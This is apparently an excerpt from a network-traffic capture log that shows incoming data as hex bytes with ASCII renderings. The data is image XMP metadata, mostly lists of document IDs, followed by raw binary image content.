2022-07-20 07:08:25 UTC	7001	IN	Data Raw: 42 46 45 30 31 31 38 45 43 46 38 44 36 33 39 32 38 45 46 45 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 31 36 35 46 37 39 38 37 44 42 31 45 30 31 31 39 46 41 31 43 35 45 43 31 44 31 30 41 31 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 31 36 36 66 64 37 61 2d 39 61 36 39 2d 34 39 34 36 2d 62 35 36 61 2d 65 32 64 32 36 65 34 34 63 38 37 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 31 37 44 32 44 46 39 31 30 37 43 45 30 31 31 39 44 30 37 44 35 41 36 32 35 45 43 46 36 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 31 38 44 30 45 41 35 46 44 39 44 45 31 31 31 41 44 44 32 39 42 36 38 34 45 34 35 45 Data Ascii: BFE0118ECF8D63928EFE68</rdf:li> <rdf:li>xmp.did:8165F7987DB1E0119FA1C5EC1D10A162</rdf:li> <rdf:li>xmp.did:8166fd7a-9a69-4946-b56a-e2d26e44c87f</rdf:li> <rdf:li>xmp.did:817D2DF9107CE0119D07D5A625ECF636</rdf:li> <rdf:li>xmp.did:818D0EA5FD9DE111ADD29B684E45E
2022-07-20 07:08:25 UTC	7017	IN	Data Raw: 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 61 30 30 35 35 36 36 2d 30 31 30 33 2d 64 32 34 66 2d 38 39 64 31 2d 38 35 64 39 62 37 34 39 33 30 64 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 61 31 65 65 31 30 35 2d 65 32 32 66 2d 34 61 31 30 2d 38 31 63 37 2d 34 64 37 38 30 64 36 32 38 61 66 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 61 36 62 31 36 61 62 2d 32 30 65 37 2d 34 38 34 35 2d 62 66 61 39 2d 61 34 35 32 37 64 34 37 39 65 61 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 61 38 38 66 33 35 61 2d 64 66 36 34 2d 34 32 66 32 2d 62 65 63 62 2d 33 34 64 62 64 38 61 35 64 34 65 30 3c 2f 72 64 66 3a 6c 69 3e Data Ascii: rdf:li> <rdf:li>xmp.did:8a005566-0103-d24f-89d1-85d9b74930d6</rdf:li> <rdf:li>xmp.did:8a1ee105-e22f-4a10-81c7-4d780d628afc</rdf:li> <rdf:li>xmp.did:8a6b16ab-20e7-4845-bfa9-a4527d479ea9</rdf:li> <rdf:li>xmp.did:8a88f35a-df64-42f2-becb-34dbd8a5d4e0</rdf:li>
2022-07-20 07:08:25 UTC	7033	IN	Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 43 34 38 37 36 36 43 30 39 32 30 36 38 31 31 39 35 42 42 38 45 32 44 39 39 41 36 37 36 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 43 34 41 38 43 35 45 43 41 37 39 45 32 31 31 38 32 38 31 46 42 33 31 38 34 32 39 30 42 42 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 43 35 31 43 34 39 34 42 33 34 32 45 34 31 31 41 41 41 37 39 45 30 31 32 34 46 38 45 33 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 43 36 32 42 35 35 41 46 44 37 46 45 35 31 31 39 45 45 44 46 42 32 34 43 43 45 30 37 39 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 Data Ascii: </rdf:li> <rdf:li>xmp.did:9C48766C0920681195BB8E2D99A676D6</rdf:li> <rdf:li>xmp.did:9C4A8C5ECA79E2118281FB3184290BB9</rdf:li> <rdf:li>xmp.did:9C51C494B342E411AAA79E0124F8E303</rdf:li> <rdf:li>xmp.did:9C62B55AFD7FE5119EEDFB24CCE0799B</rdf:li> <rdf:li>xmp.d
2022-07-20 07:08:25 UTC	7036	IN	Data Raw: 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 62 65 64 61 36 34 61 2d 35 38 31 33 2d 37 39 34 62 2d 62 38 35 30 2d 30 64 63 65 33 37 34 61 65 36 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 62 66 34 36 65 38 31 2d 31 34 63 62 2d 64 61 34 35 2d 38 35 62 31 2d 31 34 31 64 39 39 34 39 30 37 30 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 63 36 31 62 39 39 36 2d 64 65 64 31 2d 34 38 65 38 2d 38 34 32 62 2d 36 30 36 35 37 64 65 32 30 33 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 63 62 38 32 30 34 36 2d 38 62 31 31 2d 66 39 34 36 2d 61 66 35 66 2d 66 38 66 37 63 34 62 32 39 37 39 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e Data Ascii: rdf:li>xmp.did:9beda64a-5813-794b-b850-0dce374ae640</rdf:li> <rdf:li>xmp.did:9bf46e81-14cb-da45-85b1-141d9949070e</rdf:li> <rdf:li>xmp.did:9c61b996-ded1-48e8-842b-60657de20328</rdf:li> <rdf:li>xmp.did:9cb82046-8b11-f946-af5f-f8f7c4b2979f</rdf:li> <rdf:li>
2022-07-20 07:08:25 UTC	7052	IN	Data Raw: 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 35 32 36 34 45 45 34 30 39 32 30 36 38 31 31 41 37 33 32 45 42 36 31 30 43 38 35 44 37 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 35 38 44 31 42 33 39 32 31 32 30 36 38 31 31 39 32 42 30 42 36 43 45 38 39 46 42 39 44 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 35 39 42 31 30 39 45 45 36 39 39 45 30 31 31 39 33 42 36 42 36 30 37 38 42 31 34 32 32 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 35 46 41 41 44 45 36 43 32 32 30 36 38 31 31 39 39 34 43 45 38 33 42 42 42 43 38 36 44 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 36 30 31 44 32 43 42 35 30 Data Ascii: f:li>xmp.did:B5264EE409206811A732EB610C85D7A5</rdf:li> <rdf:li>xmp.did:B58D1B392120681192B0B6CE89FB9D31</rdf:li> <rdf:li>xmp.did:B59B109EE699E01193B6B6078B1422D6</rdf:li> <rdf:li>xmp.did:B5FAADE6C2206811994CE83BBBC86D74</rdf:li> <rdf:li>xmp.did:B601D2CB50
2022-07-20 07:08:25 UTC	7068	IN	Data Raw: 70 2e 64 69 64 3a 43 43 41 45 45 41 46 42 41 45 32 30 36 38 31 31 38 32 44 34 43 45 42 42 36 42 31 30 43 37 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 43 43 36 33 42 31 38 41 46 32 31 36 38 31 31 42 38 34 30 38 38 33 42 32 34 41 32 31 45 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 43 43 36 36 33 46 44 37 44 31 35 45 32 31 31 41 34 37 32 42 41 32 38 46 44 44 46 34 43 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 43 43 45 33 43 41 39 34 39 34 44 44 46 31 31 42 46 44 31 38 31 39 46 37 35 45 33 44 43 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 43 44 36 44 30 45 32 44 33 32 30 36 38 31 31 41 Data Ascii: p.did:CCAEEAFBAE20681182D4CEBB6B10C7C6</rdf:li> <rdf:li>xmp.did:CCC63B18AF216811B840883B24A21EB5</rdf:li> <rdf:li>xmp.did:CCC663FD7D15E211A472BA28FDDF4CBC</rdf:li> <rdf:li>xmp.did:CCCE3CA9494DDF11BFD1819F75E3DC25</rdf:li> <rdf:li>xmp.did:CCD6D0E2D3206811A
2022-07-20 07:08:25 UTC	7072	IN	Data Raw: 6d 70 2e 64 69 64 3a 44 31 46 31 43 32 34 37 36 35 33 34 45 31 31 31 42 44 39 34 39 34 46 46 45 31 36 37 33 35 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 31 46 45 36 33 43 43 45 34 43 35 44 46 31 31 41 35 39 36 46 35 44 44 30 43 30 35 37 42 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 32 31 37 45 43 31 35 45 38 32 30 36 38 31 31 41 42 30 38 39 44 36 36 31 42 42 31 35 37 45 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 32 31 44 37 42 32 35 46 34 36 36 45 31 31 31 38 43 46 46 38 44 46 31 32 35 45 31 36 32 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 32 32 34 46 44 34 31 44 43 39 32 45 30 31 31 Data Ascii: mp.did:D1F1C2476534E111BD9494FFE16735DE</rdf:li> <rdf:li>xmp.did:D1FE63CCE4C5DF11A596F5DD0C057B04</rdf:li> <rdf:li>xmp.did:D217EC15E8206811AB089D661BB157E8</rdf:li> <rdf:li>xmp.did:D21D7B25F466E1118CFF8DF125E162B8</rdf:li> <rdf:li>xmp.did:D224FD41DC92E011
2022-07-20 07:08:25 UTC	7088	IN	Data Raw: 41 33 37 37 46 33 30 38 31 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 36 35 44 32 42 41 46 39 37 32 30 36 38 31 31 38 46 36 32 38 34 35 32 38 35 44 33 33 43 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 36 36 36 46 39 46 32 46 35 33 32 45 31 31 31 39 35 39 35 41 31 44 44 35 31 36 42 30 42 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 36 36 38 37 39 31 37 31 31 32 30 36 38 31 31 38 32 32 41 45 31 45 44 34 31 30 44 31 34 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 36 39 42 34 41 33 34 34 45 32 30 36 38 31 31 39 32 42 30 45 45 33 44 38 42 43 32 33 33 30 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 Data Ascii: A377F30813B</rdf:li> <rdf:li>xmp.did:E65D2BAF972068118F62845285D33C56</rdf:li> <rdf:li>xmp.did:E666F9F2F532E1119595A1DD516B0B08</rdf:li> <rdf:li>xmp.did:E668791711206811822AE1ED410D1453</rdf:li> <rdf:li>xmp.did:E69B4A344E20681192B0EE3D8BC23306</rdf:li> <r
2022-07-20 07:08:25 UTC	7104	IN	Data Raw: 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 36 31 33 45 32 34 46 41 46 33 33 31 45 31 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 36 39 37 42 43 30 38 33 39 33 41 34 44 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 37 32 43 41 34 33 36 33 34 37 41 43 38 36 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 37 42 41 41 30 33 36 33 36 38 41 45 43 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 Data Ascii: >xmp.did:F77F117407206811A613E24FAF331E1E</rdf:li> <rdf:li>xmp.did:F77F117407206811A697BC08393A4D68</rdf:li> <rdf:li>xmp.did:F77F117407206811A72CA436347AC86E</rdf:li> <rdf:li>xmp.did:F77F117407206811A7BAA036368AEC0C</rdf:li> <rdf:li>xmp.did:F77F1174072068
2022-07-20 07:08:25 UTC	7112	IN	Data Raw: 69 64 3a 46 41 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 38 42 44 46 41 44 33 34 39 41 46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 41 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 38 43 34 41 32 30 39 43 38 39 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 41 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 46 46 44 33 30 34 39 42 42 41 31 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 41 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 44 34 38 39 35 34 37 31 45 42 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 41 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 Data Ascii: id:FA7F1174072068118F628BDFAD349AF6</rdf:li> <rdf:li>xmp.did:FA7F1174072068118F628C4A209C8985</rdf:li> <rdf:li>xmp.did:FA7F1174072068118F62FFD3049BBA1E</rdf:li> <rdf:li>xmp.did:FA7F1174072068119109D4895471EB7A</rdf:li> <rdf:li>xmp.did:FA7F11740720681192B0
2022-07-20 07:08:25 UTC	7128	IN	Data Raw: 31 61 63 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 30 64 62 64 31 37 34 2d 63 62 66 39 2d 34 32 36 37 2d 61 62 63 35 2d 65 62 65 35 33 34 63 65 32 64 66 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 30 64 64 38 30 35 35 2d 62 30 62 30 2d 34 65 66 65 2d 39 35 36 32 2d 31 61 33 37 35 64 37 61 63 32 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 31 36 62 30 64 35 62 2d 64 30 31 31 2d 34 33 33 37 2d 62 61 31 64 2d 34 62 37 35 63 64 35 61 61 30 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 31 36 64 39 34 37 36 2d 32 32 63 31 2d 34 34 36 35 2d 62 32 66 65 2d 66 35 34 38 65 34 39 35 61 30 34 39 3c 2f 72 Data Ascii: 1ac5</rdf:li> <rdf:li>xmp.did:b0dbd174-cbf9-4267-abc5-ebe534ce2dfe</rdf:li> <rdf:li>xmp.did:b0dd8055-b0b0-4efe-9562-1a375d7ac277</rdf:li> <rdf:li>xmp.did:b16b0d5b-d011-4337-ba1d-4b75cd5aa059</rdf:li> <rdf:li>xmp.did:b16d9476-22c1-4465-b2fe-f548e495a049</r
2022-07-20 07:08:25 UTC	7144	IN	Data Raw: 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 64 34 66 39 33 33 65 2d 38 63 39 64 2d 38 33 34 34 2d 38 38 37 62 2d 63 34 63 34 34 39 37 38 65 32 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 64 36 66 34 31 66 33 2d 37 34 38 63 2d 34 30 38 62 2d 61 65 37 39 2d 38 65 62 38 39 30 35 33 37 39 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 64 64 32 39 37 37 35 2d 34 32 37 37 2d 64 38 34 61 2d 61 65 62 66 2d 30 65 62 63 30 36 37 35 33 61 61 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 64 66 32 61 64 37 64 2d 66 63 32 65 2d 34 31 63 63 2d 62 38 62 31 2d 62 36 66 66 36 35 64 39 65 64 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 Data Ascii: df:li>xmp.did:dd4f933e-8c9d-8344-887b-c4c44978e267</rdf:li> <rdf:li>xmp.did:dd6f41f3-748c-408b-ae79-8eb890537996</rdf:li> <rdf:li>xmp.did:ddd29775-4277-d84a-aebf-0ebc06753aa8</rdf:li> <rdf:li>xmp.did:ddf2ad7d-fc2e-41cc-b8b1-b6ff65d9ed72</rdf:li> <rdf:li>x
2022-07-20 07:08:25 UTC	7152	IN	Data Raw: 33 38 35 37 64 38 2d 36 30 31 39 2d 34 63 63 30 2d 61 30 39 34 2d 32 63 65 37 65 66 61 62 61 30 34 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 33 34 66 34 63 33 39 2d 64 39 31 31 2d 38 65 34 37 2d 61 30 36 61 2d 66 31 66 36 33 32 65 37 34 62 63 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 33 39 65 64 65 33 38 2d 66 39 61 61 2d 34 39 64 30 2d 38 31 36 36 2d 39 63 64 37 62 30 62 61 35 39 30 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 33 61 65 38 38 37 61 2d 35 63 64 37 2d 65 35 34 37 2d 39 66 66 33 2d 63 66 63 61 64 32 66 34 66 33 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 34 31 39 64 37 38 30 2d Data Ascii: 3857d8-6019-4cc0-a094-2ce7efaba04a</rdf:li> <rdf:li>xmp.did:f34f4c39-d911-8e47-a06a-f1f632e74bc6</rdf:li> <rdf:li>xmp.did:f39ede38-f9aa-49d0-8166-9cd7b0ba590c</rdf:li> <rdf:li>xmp.did:f3ae887a-5cd7-e547-9ff3-cfcad2f4f375</rdf:li> <rdf:li>xmp.did:f419d780-
2022-07-20 07:08:25 UTC	7168	IN	Data Raw: d6 10 f4 4c 5d b4 df 70 46 43 a3 5a 9e 9d 34 52 ad 38 a6 1b d3 5d e7 bc d7 6c 6b 3c bb ad e9 9f 56 8d f1 5d dd 98 b7 c3 0f 69 dc e1 be 5b 0c 22 76 2d 56 78 64 1e b2 2a aa ad f5 0f 04 c4 2c 15 9d 7a 47 a8 d7 73 cd 6c aa e2 f3 de b6 72 f0 5e 8b c5 d7 ed de 5f 17 ce de e6 b2 f9 74 bb e6 d3 cf bd 0e 55 a7 a7 f3 3a a7 46 36 5c 1c b6 33 94 87 e9 e7 7a 39 2a 3d 2e bf 61 c3 7f 1d ea 7e 9d f3 fe 7e 67 d2 e8 c9 5e 1a bf 37 dd d8 f2 3b ed f9 bc cf ba 32 7d be 7c ec f4 cc e9 8d a4 e0 fb e9 db 79 9a 67 ba eb 27 ee 65 f4 b5 d7 ce 7e 7e 77 31 8b 5e 5e 79 7f 4f 6b 5d 2a bc ae 94 fc ad 9e 9d 50 36 5a 1c 6e 03 55 44 ec b4 30 fc b3 6d b2 f3 cd a5 de 63 5b 96 94 4b 2d e7 1e d0 16 90 7a b4 ce fa 78 35 cd cf 7b 9d 7a 4d 75 e2 3a 33 aa e9 c6 f3 87 5d 4f 84 64 7a b8 32 3d cd 74 Data Ascii: L]pFCZ4R8]lk<V]i["v-Vxd,zGslr^_tU:F6\3z9=.a~~g^7;2}\|yg'e~~w1^^yOk]*P6ZnUD0mc[K-zx5{zMu:3]Odz2=t
2022-07-20 07:08:25 UTC	7184	IN	Data Raw: 2c 8e 4c 03 31 69 f5 50 34 c5 ba cd a1 18 36 27 41 c0 e2 45 a0 10 34 e2 4d b9 27 22 00 26 dc aa 7c 04 32 4d a7 22 4f 39 21 f1 46 a9 18 02 69 a2 62 35 c8 26 c0 08 08 68 26 c4 d8 f9 8e 8d c5 40 1c 06 9c 99 da c4 d6 7a b7 dd bc aa 3c a4 07 15 b0 28 a4 b4 49 4e 92 e7 67 96 8b 36 29 c8 1f 32 30 90 01 53 4a 98 9a af 8b cd c9 9f b5 97 13 16 83 49 b6 a8 97 3a 39 8e b1 eb 3b 7d a3 59 9b cf c5 80 72 56 ac d0 da ce 63 a3 2d 3e d3 d9 54 2d 15 f4 bc 9e 1d c1 cc bd 73 d1 e2 9f 9b 95 0e 04 38 d4 f3 51 71 72 af 16 c3 97 57 97 7e 2f aa e2 f5 f0 45 92 09 32 32 56 bc 1a d6 75 e3 ab f3 9e 6f d0 aa 2e a9 d0 f3 65 2f 8b 56 ad 7d c3 ef e7 c2 87 28 06 d0 00 89 08 82 43 62 6c 75 e6 74 7b 73 23 4f 52 50 8c d7 12 8d 46 bc 94 94 69 52 50 75 1c d7 39 65 a5 49 44 83 46 80 42 08 2e 25 Data Ascii: ,L1iP46'AE4M'"&\|2M"O9!Fib5&h&@z<(INg6)20SJI:9;}YrVc->T-s8QqrW~/E22Vuo.e/V}(Cblut{s#ORPFiRPu9eIDFB.%
2022-07-20 07:08:25 UTC	7191	IN	Data Raw: e5 46 d8 b8 09 50 b0 86 81 c8 21 98 c9 52 26 a9 ba 52 26 a0 00 45 2a ae 9a 29 a1 ce f9 37 13 51 b8 a9 53 52 91 31 02 54 ea b7 d6 b2 a3 5e 2a a6 f2 aa 79 41 25 02 49 48 c7 15 8a a0 4e 08 ab c2 0a ae 1c d6 12 b3 1b a9 b4 ae 34 58 8a 0d 3a cb 95 e9 cc 75 97 ba 21 f0 f4 ab be e6 d7 43 5e 43 17 9b 4f 3e 69 41 43 aa 10 48 2e 68 49 e1 08 84 42 2e 17 0b 90 22 50 e0 11 22 14 0c 14 4a 06 0d a0 40 84 43 44 b9 3e 12 8c c6 63 14 d1 3e 47 30 c4 aa 84 5c 9f 27 c3 20 e4 70 20 13 39 00 31 25 b1 72 62 02 ce 68 44 2d 08 25 ca 34 02 68 9e 60 39 17 22 c2 0e 1a a0 01 5b 54 f8 10 14 09 57 26 69 aa 64 af 93 e1 a8 c8 68 a8 a6 96 29 55 14 d1 aa 71 3e 4f 8a 34 c4 62 9b 69 b4 a9 b1 a8 32 e1 92 41 d4 55 2c aa 60 38 26 3d 1c 4d 92 b9 53 21 1c 08 70 41 a5 56 25 a8 d8 96 a8 8e ac 40 69 Data Ascii: FP!R&R&E)7QSR1T^yA%IHN4X:u!C^CO>iACH.hIB."P"J@CD>c>G0\' p 91%rbhD-%4h`9"[TW&idh)Uq>O4bi2AU,`8&=MS!pAV%@i
2022-07-20 07:08:25 UTC	7207	IN	Data Raw: 36 dc 72 34 b3 78 f8 aa db cd 8e de 5d 5e fc d6 91 71 30 d0 9c dc b5 6b 36 ea 44 20 06 dc 80 32 38 4e 22 ed 0d 8a bb 16 d8 36 e6 26 90 dd 48 00 a1 1a 46 8e 45 49 04 2d 73 42 c1 12 08 41 1a 42 42 92 09 06 2c 12 50 10 7c c1 0e 17 30 dc 88 b9 3e 61 00 82 8b 9a 00 59 68 0a 0a 1c 2e 72 80 28 36 b9 0a 35 01 62 89 40 90 80 88 50 20 e1 2b 6a 84 02 69 03 92 41 a0 f8 48 24 1e 2b c9 fb 3b 42 b3 6e 78 2a 19 2b 2e 89 71 6f a6 da 20 75 72 09 8f ab f9 91 ea 5e 36 78 9f 53 aa 37 65 64 b7 51 34 98 e9 f0 a2 5c 69 ac bd 4b 6f 45 51 38 66 f4 5b 4d 85 0e 08 73 a8 f8 dd b4 3b 08 a9 6a a2 2a 81 2d 98 56 11 cd 61 36 ba eb 2d c6 3f 4a 62 6a 8d 2b 17 52 2e 74 4d c0 a9 2d 33 83 af 3d a3 94 8a e4 a5 04 f9 1e 4c 86 22 37 24 20 63 4d 42 b8 af 4a 1c 0c b5 c2 69 cb 1a 40 34 01 c2 70 05 Data Ascii: 6r4x]^q0k6D 28N"6&HFEI-sBABB,P\|0>aYh.r(65b@P +jiAH$+;Bnx+.qo ur^6xS7edQ4\iKoEQ8f[Ms;j-Va6-?Jbj+R.tM-3=L"7$ cMBJi@4p
2022-07-20 07:08:25 UTC	7223	IN	Data Raw: 87 ca 62 3e 58 e3 d1 09 8b eb 0f 55 60 18 54 04 6b 31 8c 6c a0 b8 b3 e3 52 3c 8e 3d 82 06 fc a1 21 81 36 91 1e 9d 96 64 48 91 9c 0d 52 81 a4 c6 30 be 14 d1 c5 57 59 2a 72 11 32 08 47 d1 01 a2 5c 4d e2 71 f1 cd 72 75 65 9c 45 77 00 21 19 c8 fb 08 59 ee cc 4f 91 57 48 a8 48 12 05 72 32 ae b0 14 ed f6 43 98 c8 b5 b6 a8 07 16 c3 9a ba d0 23 1b 8c 8d 32 ae 32 cb b1 96 25 85 ab b5 c1 79 82 38 a8 c8 cc 31 53 0e 80 03 c5 a6 4d fd a4 a3 5c da cb a5 09 57 33 28 42 c1 62 31 0a 72 00 db 51 9c 64 0f 1b 98 2b 2c 3c a3 03 19 48 b1 ae 7c d6 46 60 a6 7c f9 46 b2 19 fd f3 04 ce fe 26 ab 7e 45 f1 39 7f 53 90 88 22 20 46 71 78 1e 12 8b c8 98 12 a3 51 05 05 8d 78 9a 3e d3 26 65 74 27 34 40 a0 7c aa 92 e2 d9 88 c6 88 bc 8d f1 0a 99 89 0c a5 5f a3 09 7c d1 b6 2b 9c 81 39 f1 55 Data Ascii: b>XU`Tk1lR<=!6dHR0WY*r2G\MqrueEw!YOWHHr2C#22%y81SM\W3(Bb1rQd+,<H\|F`\|F&~E9S" FqxQx>&et'4@\|_\|+9U
2022-07-20 07:08:25 UTC	7231	IN	Data Raw: 84 54 7d 26 74 53 b2 77 02 2e 42 29 bc 15 39 7c 4b 94 64 a7 49 5f 01 89 07 89 b0 71 26 21 46 25 d9 90 8b 08 cb d9 97 b8 cb d1 2e a0 5e 23 ed 11 ee 41 8d f2 01 1d 8c 4a af 28 c0 59 70 89 9e 54 82 86 74 ca 85 d2 9a 2a 9c 9f 96 41 15 91 4f c8 46 20 51 c7 88 55 b4 53 f2 23 da 92 20 90 62 42 3e 81 22 03 d1 46 41 45 a4 08 f5 12 cb 80 92 ba cf eb 8d 2e 55 f2 0a 4b 32 73 91 11 2c 22 eb 8a ae 7c c9 af 8a ac 32 8c 41 57 f2 60 e1 4e fe 0a 58 f3 aa 50 b7 92 ac 7a b7 d1 01 33 26 f5 18 ba 1e 8f 89 86 35 c9 a6 43 1f f0 4f ac 69 72 2b 83 a9 06 46 28 45 d3 37 92 3c 10 8a 05 14 7c 7c bc 54 6c 12 40 26 52 47 ee 42 fb a1 2f 6c 80 08 fa 53 f6 84 9d 03 ed 45 3a 05 12 cb 93 af 90 af 90 2e 60 ae 49 bc b7 8f f2 2c 64 66 8f b4 ec a2 89 4c 99 bc 1f bb 30 e3 12 80 4c 5a 40 85 6c 79 Data Ascii: T}&tSw.B)9\|KdI_q&!F%.^#AJ(YpTt*AOF QUS# bB>"FAE.UK2s,"\|2AW`NXPz3&5COir+F(E7<\|\|Tl@&RGB/lSE:.`I,dfL0LZ@ly
